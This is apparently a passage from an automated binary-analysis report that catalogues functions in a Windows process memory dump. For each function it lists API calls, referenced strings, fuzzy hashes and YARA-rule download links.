Part of subcall function 0088269C: AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(008B7F20,00000002), ref: 008826E1
Part of subcall function 0088269C: GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000,?), ref: 008826EC
Part of subcall function 0088269C: ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(008B7F20,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0087C5C6), ref: 008826F5

_get_osfhandle.MSVCRT ref: 0088987D
WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000,008864F0,?,?,?,?,?,?,?,00000000,?,00000001), ref: 00889885
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,00000002,?,?,?,?,00000000,008865F0,?,008864F0), ref: 008898C4
_get_osfhandle.MSVCRT ref: 008898DD
WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000,008864F0,?,?,?,?,?,?,?,00000000,?,00000001), ref: 008898E5

Part of subcall function 008827C8: _get_osfhandle.MSVCRT ref: 008827DB
Part of subcall function 008827C8: WideCharToMultiByte.API-MS-WIN-CORE-STRING-L1-1-0(00000000,008AB980,000000FF,0089D620,00002000,00000000,00000000), ref: 0088281C
Part of subcall function 008827C8: WriteFile.API-MS-WIN-CORE-FILE-L1-1-0(?,0089D620,-00000001,?,00000000), ref: 00882831

longjmp.MSVCRT(008AB8B8,00000001,?,?,?,?,?,?,?,00000000,?,00000001), ref: 00889968

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: Console_get_osfhandle$Write$FileLockModeShared$AcquireByteCharHandleMultiReleaseTypeWidelongjmp
String ID:
API String ID: 1333215474-0
Opcode ID: 23ad15fa4fcf7a9a25e395fdd9ed2a3ee85b1577cacb787113416f87072526d5
Instruction ID: 77662f7d8ec2bacd59e25bb936405b1a6a714a50b889f863eeede100c58ef1d3
Opcode Fuzzy Hash: 23ad15fa4fcf7a9a25e395fdd9ed2a3ee85b1577cacb787113416f87072526d5
Instruction Fuzzy Hash: 5951A431B00306ABDB24FB799845B7EB7A9FB10705F148529E686D7281EB70DD008B51

Uniqueness

Uniqueness Score: -1.00%

Function 0087C923, Relevance: 10.8, APIs: 7, Instructions: 281COMMON

Download Yara Rule

APIs

_wcsicmp.MSVCRT ref: 0087C9CF
_wcsicmp.MSVCRT ref: 0087C9E5
GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0(00000000,-00000001,00000000,?,00000000), ref: 0087CA04
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 0087CA15

Part of subcall function 0087D7D4: wcschr.MSVCRT ref: 0087D7DA

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: _wcsicmp$AttributesErrorFileLastwcschr
String ID:
API String ID: 2943530692-0
Opcode ID: c6010f22380838c50d73ca1b063ba6368e06c28a19de5ef51781fe8878e2f184
Instruction ID: aa5721793d2f789351fc1b29a1265f1a8dabb9231e61cf122c55c2767baab027
Opcode Fuzzy Hash: c6010f22380838c50d73ca1b063ba6368e06c28a19de5ef51781fe8878e2f184
Instruction Fuzzy Hash: C5913775B007259BDB24FF78885666AB7A0FF48314F14C12EE91AD7298EB70CD81CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00885E50, Relevance: 10.8, APIs: 7, Instructions: 264COMMON

Download Yara Rule

APIs

Part of subcall function 0087EA40: wcschr.MSVCRT ref: 0087EAB7
Part of subcall function 0087EA40: iswspace.MSVCRT ref: 0087EB2D
Part of subcall function 0087EA40: wcschr.MSVCRT ref: 0087EB49
Part of subcall function 0087EA40: wcschr.MSVCRT ref: 0087EB6D

iswspace.MSVCRT ref: 00885EE4

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: wcschr$iswspace
String ID:
API String ID: 3458554142-0
Opcode ID: c8e0e0747ecc18f10a06a487d27a519c7844d9919e6e1d209da1ab9b7c6e15c2
Instruction ID: 90c07d104a475caf7b436fe9d1ae39e0326ed4c38266075158c2ef0e1f98a23d
Opcode Fuzzy Hash: c8e0e0747ecc18f10a06a487d27a519c7844d9919e6e1d209da1ab9b7c6e15c2
Instruction Fuzzy Hash: 9391CF70904608DBEB24FF68EC45AAE7BF8FF49714F10812EE906E7291EB349941CB55

Uniqueness

Uniqueness Score: -1.00%

Function 00894CF0, Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 249registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,00000000,?,00000104,00000000,00000000,00000000,00000000), ref: 00894D3E
RegEnumKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,00000001,0000002E,00000104,00000000,00000000,00000000,00000000,?,00000000,?,00000104,00000000,00000000,00000000,00000000), ref: 00894E9A
RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,00000000,02000000,?,\Shell\Open\Command,00000000), ref: 00894F8B

Strings

%s=%s, xrefs: 00894E4E, 00894FD4
\Shell\Open\Command, xrefs: 00894DC3, 00894F60
., xrefs: 00894D50

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: Enum$Open
String ID: %s=%s$.$\Shell\Open\Command
API String ID: 2886760741-1459555574
Opcode ID: 69b0fa1b6f36702a89a8ff6f2d36ef70fc71ac7fdd800e9eb8251e87818bfecc
Instruction ID: a086e977c5430e4d382641c9bdafb07b01de1118ec61494523e6582f8eae8dcd
Opcode Fuzzy Hash: 69b0fa1b6f36702a89a8ff6f2d36ef70fc71ac7fdd800e9eb8251e87818bfecc
Instruction Fuzzy Hash: 6A815775A0021557DF24BB28DC95FFF3369FF84300F1842A8E91AE7281EB749E468B91

Uniqueness

Uniqueness Score: -1.00%

Function 0087B2B0, Relevance: 10.7, APIs: 7, Instructions: 172COMMON

Download Yara Rule

APIs

Part of subcall function 0087B42E: NtOpenThreadToken.NTDLL(000000FE,00000008,00000000,00000000), ref: 0087B448
Part of subcall function 0087B42E: NtOpenProcessToken.NTDLL ref: 0087B460
Part of subcall function 0087B42E: NtClose.NTDLL(00000000), ref: 0087B4B1

SetConsoleTitleW.API-MS-WIN-CORE-CONSOLE-L2-2-0(00000000), ref: 0087B3A5
LocalFree.API-MS-WIN-CORE-HEAP-L2-1-0(?), ref: 0087B3D3
RtlNtStatusToDosError.NTDLL ref: 0089133F
SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000), ref: 00891346
GetConsoleTitleW.API-MS-WIN-CORE-CONSOLE-L2-2-0(?,00000104,?), ref: 008913B6
wcsstr.MSVCRT ref: 008913D1
wcsstr.MSVCRT ref: 008913EF

Part of subcall function 0087B3FC: FormatMessageW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00001900,00000000,?,00000000,?,00000000,?,?,?,?,008995EF,00889564,00000001,?), ref: 0087B421

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: ConsoleErrorOpenTitleTokenwcsstr$CloseFormatFreeLastLocalMessageProcessStatusThread
String ID:
API String ID: 1313749407-0
Opcode ID: db0e11bb37aba0f0136971a585aa2b2b963ca7f5c1e741346e04cfe3934c5ab5
Instruction ID: e882e18d15ebdacd579b32820af39167344213b456fe2fd99a01e64d19e6d6ec
Opcode Fuzzy Hash: db0e11bb37aba0f0136971a585aa2b2b963ca7f5c1e741346e04cfe3934c5ab5
Instruction Fuzzy Hash: E651C635A0021A8BCF20AB799C897AE73F6FF54314F1441A9D909D7344EB34DD818F95

Uniqueness

Uniqueness Score: -1.00%

Function 0087E9A0, Relevance: 10.6, APIs: 7, Instructions: 141COMMON

Download Yara Rule

APIs

Part of subcall function 008800B0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,?,?,0087DF68,00000001,?,00000000,00883458,-00000105,0089BDD8,00000240,00884B82,00000000,00000000,0088AE6E,00000000), ref: 008800C1
Part of subcall function 008800B0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,0087DF68,00000001,?,00000000,00883458,-00000105,0089BDD8,00000240,00884B82,00000000,00000000,0088AE6E,00000000,?), ref: 008800C8

wcschr.MSVCRT ref: 0087EB6D
iswspace.MSVCRT ref: 0087EC37
wcschr.MSVCRT ref: 0087EC4F
longjmp.MSVCRT(008AB8B8,00000001,?,00000000,?,0087ED9F,?,00000000,?), ref: 0088C024
longjmp.MSVCRT(008AB8B8,00000001), ref: 0088C036
longjmp.MSVCRT(008AB8B8,00000001,00000000,?,?), ref: 0088C049
longjmp.MSVCRT(008AB8B8,00000001), ref: 0088C05B

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: longjmp$Heapwcschr$AllocProcessiswspace
String ID:
API String ID: 2511250921-0
Opcode ID: e1779352fd93ce1c763083cd0ffeac2baff2be26d215b068d8ae16eb1a07fedf
Instruction ID: 1ac367d4cb579c690fb9cb276aeceddf276d4cbe51d6212b55be4b1a58ecf597
Opcode Fuzzy Hash: e1779352fd93ce1c763083cd0ffeac2baff2be26d215b068d8ae16eb1a07fedf
Instruction Fuzzy Hash: 47412731200215C6EB306F68C8857BA77A9FF94304F1485AAE98AE7199EF74CC84CB51

Uniqueness

Uniqueness Score: -1.00%

Function 008993E2, Relevance: 10.6, APIs: 7, Instructions: 131COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00899427

Part of subcall function 00880C70: ??_V@YAXPAX@Z.MSVCRT ref: 00880CBA
Part of subcall function 00880C70: memset.MSVCRT ref: 00880CDD

??_V@YAXPAX@Z.MSVCRT ref: 0089954E

Part of subcall function 0087CFBC: GetEnvironmentVariableW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,0089F830,00002000,?,?,?,?,?,0088373A,0087590A,00000000), ref: 0087CFDF

SetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(00000000,-00000105,?,00000000,?), ref: 00899480
SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000001,?,00000000,?), ref: 00899490
SetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,-00000105,?,00000000,?), ref: 0089950B
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000,?,00000000,?), ref: 00899516
SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000,?,00000000,?), ref: 00899529

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: Error$CurrentDirectoryModememset$EnvironmentLastVariable
String ID:
API String ID: 920682188-0
Opcode ID: fb3d31282b06b8ac137688f1b0b6201ebfe4e0692eb49a3314bf5835a653309b
Instruction ID: 4975ab93d446829c64b8914e0406fc44bae03d9c5549008845427a3fa58208a1
Opcode Fuzzy Hash: fb3d31282b06b8ac137688f1b0b6201ebfe4e0692eb49a3314bf5835a653309b
Instruction Fuzzy Hash: 3B412931A00218ABDF14EFA8EC45AEEB7B4FF08710F04419DE909E7250EB38DA45CB55

Uniqueness

Uniqueness Score: -1.00%

Function 008917B6, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 115synchronizationCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0(00000040), ref: 008917D7
CreateMutexExW.API-MS-WIN-CORE-SYNCH-L1-1-0(00000000,?,00000000,001F0001), ref: 00891805
ReleaseMutex.API-MS-WIN-CORE-SYNCH-L1-1-0(00000000,wil,00000000,?,?,?,?), ref: 0089189F
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0(?,?,?), ref: 008918EF

Strings

Local\SM0:%d:%d:%hs, xrefs: 008917DE
wil, xrefs: 0089185C, 008918D8

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: Mutex$CloseCreateCurrentHandleProcessRelease
String ID: Local\SM0:%d:%d:%hs$wil
API String ID: 3048291649-2303653343
Opcode ID: ae51f72808e51a3a97287cfec595f469d5e8d2279435837bee61b68e2f224a6b
Instruction ID: 81bc7c39fb546d3ab70b977beafa7774a25a2adc083c9775d5671d7d2343e38c
Opcode Fuzzy Hash: ae51f72808e51a3a97287cfec595f469d5e8d2279435837bee61b68e2f224a6b
Instruction Fuzzy Hash: 3831F371A4422EABCF21FB14CC8DEAA7779FB90700F1942A5F819E7241DB709E019B91

Uniqueness

Uniqueness Score: -1.00%

Function 00886E03, Relevance: 10.6, APIs: 7, Instructions: 99sleepCOMMON

Download Yara Rule

APIs

Sleep.API-MS-WIN-CORE-SYNCH-L1-2-0(000003E8,0089BE78,00000010), ref: 00886E40
_amsg_exit.MSVCRT ref: 00886E55
_initterm.MSVCRT ref: 00886EA9
__IsNonwritableInCurrentImage.LIBCMT ref: 00886ED5
exit.MSVCRT ref: 00886F1C
_XcptFilter.MSVCRT ref: 00886F2E

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: CurrentFilterImageNonwritableSleepXcpt_amsg_exit_inittermexit
String ID:
API String ID: 796493780-0
Opcode ID: b65cb9b3ee3398cc92098c7df1e1346ebf8e1b32ceea5e062251ea21d06f4fbe
Instruction ID: f3f032696777b6daebad65ad78974eee6da039dd5de3950f291d7ecb319bb814
Opcode Fuzzy Hash: b65cb9b3ee3398cc92098c7df1e1346ebf8e1b32ceea5e062251ea21d06f4fbe
Instruction Fuzzy Hash: 6E31D076644311DFDF21BBA8ED0A71977A0FB48724F28102AE605D72A0EB30DD50CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00887513, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.API-MS-WIN-CORE-SYSINFO-L1-1-0(00000000), ref: 00887540
GetCurrentProcessId.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 0088754F
GetCurrentThreadId.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00887558
GetTickCount.API-MS-WIN-CORE-SYSINFO-L1-1-0 ref: 00887561
QueryPerformanceCounter.API-MS-WIN-CORE-PROFILE-L1-1-0(?), ref: 00887576

Strings

`j/w, xrefs: 00887576

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID: `j/w
API String ID: 1445889803-2204088859
Opcode ID: 18c0d0e0026bab603cf225bb5e0cea897ad2af1ee791639ead8f23de7de42590
Instruction ID: 83d00300d110d2b4e8a3789b8916bc45bf090bacffcfc869e466a7ad6692bd6a
Opcode Fuzzy Hash: 18c0d0e0026bab603cf225bb5e0cea897ad2af1ee791639ead8f23de7de42590
Instruction Fuzzy Hash: 6A114C71D09208EBCF10EBB8EA4869EB7F5FF48310F6549A6D915E7220E734DA008F40

Uniqueness

Uniqueness Score: -1.00%

Function 00884C3E, Relevance: 10.5, APIs: 7, Instructions: 42synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.API-MS-WIN-CORE-SYNCH-L1-1-0(?,000000FF,00000000,?,?,00897929,00000000,00899313,00000000,00000000,?,00889814,00000000), ref: 00884C55
GetExitCodeProcess.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0(?,000000FF,?,00897929,00000000,00899313,00000000,00000000,?,00889814,00000000), ref: 00884C60
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0(?,?,00897929,00000000,00899313,00000000,00000000,?,00889814,00000000), ref: 00884C7B
EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,00897929,00000000,00899313,00000000,00000000,?,00889814,00000000), ref: 0088EE57
LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,00897929,00000000,00899313,00000000,00000000,?,00889814,00000000), ref: 0088EE6D
fprintf.MSVCRT ref: 0088EE81
fflush.MSVCRT ref: 0088EE8F

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: CriticalSection$CloseCodeEnterExitHandleLeaveObjectProcessSingleWaitfflushfprintf
String ID:
API String ID: 4271573189-0
Opcode ID: e683c91889661c77d54f1f85628c9b3979b8eae6898cc102f2f356773f457394
Instruction ID: a176b1e1ca5a98f888ec085f1cf8031a334c8e1d5b3e9c80b52dd6f10d82e7a1
Opcode Fuzzy Hash: e683c91889661c77d54f1f85628c9b3979b8eae6898cc102f2f356773f457394
Instruction Fuzzy Hash: 97014471445215FFDB00BBA8EC0DA997BACFB0A325F240346F569D22F1CBB54A01D766

Uniqueness

Uniqueness Score: -1.00%

Function 008807C0, Relevance: 9.4, APIs: 6, Instructions: 361COMMON

Download Yara Rule

APIs

GetConsoleTitleW.API-MS-WIN-CORE-CONSOLE-L2-2-0(?,00000104,987DC5F4,00000001,?), ref: 00880816

Part of subcall function 00880D51: memset.MSVCRT ref: 00880D7D

Part of subcall function 00880C70: ??_V@YAXPAX@Z.MSVCRT ref: 00880CBA
Part of subcall function 00880C70: memset.MSVCRT ref: 00880CDD

towupper.MSVCRT ref: 00880B44

Part of subcall function 0087E040: memset.MSVCRT ref: 0087E090
Part of subcall function 0087E040: wcschr.MSVCRT ref: 0087E0F3
Part of subcall function 0087E040: wcschr.MSVCRT ref: 0087E10B
Part of subcall function 0087E040: _wcsicmp.MSVCRT ref: 0087E179

wcschr.MSVCRT ref: 00880932
wcsncmp.MSVCRT(00000000,0087218C,00000004,00000002,00007FE7), ref: 00880A76

Part of subcall function 0087EA40: wcschr.MSVCRT ref: 0087EAB7
Part of subcall function 0087EA40: iswspace.MSVCRT ref: 0087EB2D
Part of subcall function 0087EA40: wcschr.MSVCRT ref: 0087EB49
Part of subcall function 0087EA40: wcschr.MSVCRT ref: 0087EB6D

Part of subcall function 00876980: _get_osfhandle.MSVCRT ref: 00876A06
Part of subcall function 00876980: GetFileSize.API-MS-WIN-CORE-FILE-L1-1-0(00000000), ref: 00876A10
Part of subcall function 00876980: _wcsnicmp.MSVCRT ref: 00876A3D
Part of subcall function 00876980: _get_osfhandle.MSVCRT ref: 00876A64
Part of subcall function 00876980: SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0(00000000), ref: 00876A6E
Part of subcall function 00876980: _get_osfhandle.MSVCRT ref: 00876A8E
Part of subcall function 00876980: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(00000000), ref: 00876AA0
Part of subcall function 00876980: SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0(00000000,00000000,00000000,00000001), ref: 00876AC0
Part of subcall function 00876980: AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(008B7F20), ref: 00876AD1
Part of subcall function 00876980: ReadFile.API-MS-WIN-CORE-FILE-L1-1-0(00000000,0089D620,00000200,00000000,00000000), ref: 00876AE7
Part of subcall function 00876980: ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(008B7F20), ref: 00876AF4

GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000), ref: 0088CCDE

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: wcschr$File$_get_osfhandlememset$LockPointerShared$AcquireConsoleErrorLastReadReleaseSizeTitleType_wcsicmp_wcsnicmpiswspacetowupperwcsncmp
String ID:
API String ID: 1803274588-0
Opcode ID: 177d4c64af0f688b20161bef435916a5f43d5cc3c4d5a93c2ac76384feb0b066
Instruction ID: 151ddac878a9f675541ef2ed9ac9c2c15bf7f76bad7d787fa2228ade7d5fa7e6
Opcode Fuzzy Hash: 177d4c64af0f688b20161bef435916a5f43d5cc3c4d5a93c2ac76384feb0b066
Instruction Fuzzy Hash: 52C14931A002258BDB64BB68CC9577E73A5FF40314F144578E90EEB296EB709D89CF92

Uniqueness

Uniqueness Score: -1.00%

Function 00884800, Relevance: 9.3, APIs: 6, Instructions: 327COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00884861
memset.MSVCRT ref: 00884881

Part of subcall function 00880C70: ??_V@YAXPAX@Z.MSVCRT ref: 00880CBA
Part of subcall function 00880C70: memset.MSVCRT ref: 00880CDD

Part of subcall function 008800B0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,?,?,0087DF68,00000001,?,00000000,00883458,-00000105,0089BDD8,00000240,00884B82,00000000,00000000,0088AE6E,00000000), ref: 008800C1
Part of subcall function 008800B0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,0087DF68,00000001,?,00000000,00883458,-00000105,0089BDD8,00000240,00884B82,00000000,00000000,0088AE6E,00000000,?), ref: 008800C8

??_V@YAXPAX@Z.MSVCRT ref: 00884991
??_V@YAXPAX@Z.MSVCRT ref: 0088499E
longjmp.MSVCRT(008AB8B8,00000001,00007FE9,00007FE9,?,?,?,?,00000000,?), ref: 0088E94C

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: memset$Heap$AllocProcesslongjmp
String ID:
API String ID: 2656838167-0
Opcode ID: 1b75df7fe0c7e5ffde1cc3237032c09d80eb1d502b4471a02138a0bab0d91b11
Instruction ID: e10aae5fe6767dac651252f183ef8cb564cc7a99f27d3ea91c0b0e04711f229c
Opcode Fuzzy Hash: 1b75df7fe0c7e5ffde1cc3237032c09d80eb1d502b4471a02138a0bab0d91b11
Instruction Fuzzy Hash: EAD1C17190022A8BCB38EF18CC91BAABBB5FF44704F0451DDD94AE7291DB70AE85CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0087B6CB, Relevance: 9.2, APIs: 6, Instructions: 155COMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 008899E9
WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000000,?,00000001), ref: 008899F1
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,00000002,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 00889A30
_get_osfhandle.MSVCRT ref: 00889A49
WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000000,?,00000001), ref: 00889A51

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: Console$Write_get_osfhandle$Mode
String ID:
API String ID: 1066134489-0
Opcode ID: 9a1a26a2e3a1e9045019d224a75595a1738c6d6a5785f2e52e695cd1d8235c06
Instruction ID: fab9b2fb89221d84363961cb259a49888aeac3773de64438d2baccab24b5bff1
Opcode Fuzzy Hash: 9a1a26a2e3a1e9045019d224a75595a1738c6d6a5785f2e52e695cd1d8235c06
Instruction Fuzzy Hash: 9341F331A002249BDF28FE78C845BBEB7AAFB40314F184469E986DB185EB70DD40CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0087E5A8, Relevance: 9.1, APIs: 6, Instructions: 115COMMON

Download Yara Rule

APIs

_tell.MSVCRT ref: 0087E5F9
_close.MSVCRT ref: 0087E62C
memset.MSVCRT ref: 0087E6CC
GetConsoleOutputCP.API-MS-WIN-CORE-CONSOLE-L1-1-0(00007FE7), ref: 0087E736
GetCPInfo.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,008A3840), ref: 0087E747
??_V@YAXPAX@Z.MSVCRT ref: 0087E772

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: ConsoleInfoOutput_close_tellmemset
String ID:
API String ID: 1380661413-0
Opcode ID: e81e63cae178428113539899aac2f80e5b43a402b9ddc9303eb2e54e4a14a660
Instruction ID: 5600f5fd90130201aa8db2e83e3c3529fa46abdda327bba105d660e3d477c2a9
Opcode Fuzzy Hash: e81e63cae178428113539899aac2f80e5b43a402b9ddc9303eb2e54e4a14a660
Instruction Fuzzy Hash: D141C4309003408BD734AF18D84871AB7E2FF88314F18466DE999D72A5EB34DC49CB53

Uniqueness

Uniqueness Score: -1.00%

Function 00882616, Relevance: 9.1, APIs: 6, Instructions: 90COMMON

Download Yara Rule

APIs

Part of subcall function 0088269C: _get_osfhandle.MSVCRT ref: 008826A7
Part of subcall function 0088269C: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(00000000,0087C5F8,?,?,?), ref: 008826B6
Part of subcall function 0088269C: GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(000000F6,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0087C5C6), ref: 008826D2
Part of subcall function 0088269C: AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(008B7F20,00000002), ref: 008826E1
Part of subcall function 0088269C: GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000,?), ref: 008826EC
Part of subcall function 0088269C: ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(008B7F20,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0087C5C6), ref: 008826F5

AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(008B7F20,00000000,?,?,008AB980,00000002,00000000,?,00889CA6,%s %s ,?,00000000,00000000), ref: 00882667
_get_osfhandle.MSVCRT ref: 00882677
WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000,00889CA6,%s %s ,?,00000000,00000000), ref: 0088267F
ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(008B7F20), ref: 00882694

Part of subcall function 008827C8: _get_osfhandle.MSVCRT ref: 008827DB
Part of subcall function 008827C8: WideCharToMultiByte.API-MS-WIN-CORE-STRING-L1-1-0(00000000,008AB980,000000FF,0089D620,00002000,00000000,00000000), ref: 0088281C
Part of subcall function 008827C8: WriteFile.API-MS-WIN-CORE-FILE-L1-1-0(?,0089D620,-00000001,?,00000000), ref: 00882831

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: LockShared$_get_osfhandle$AcquireConsoleFileReleaseWrite$ByteCharHandleModeMultiTypeWide
String ID:
API String ID: 4057327938-0
Opcode ID: c6e8eac9f67fe59bd9fb2c0f9ac23fc0cf571fbf97c33f808d400b60daffd583
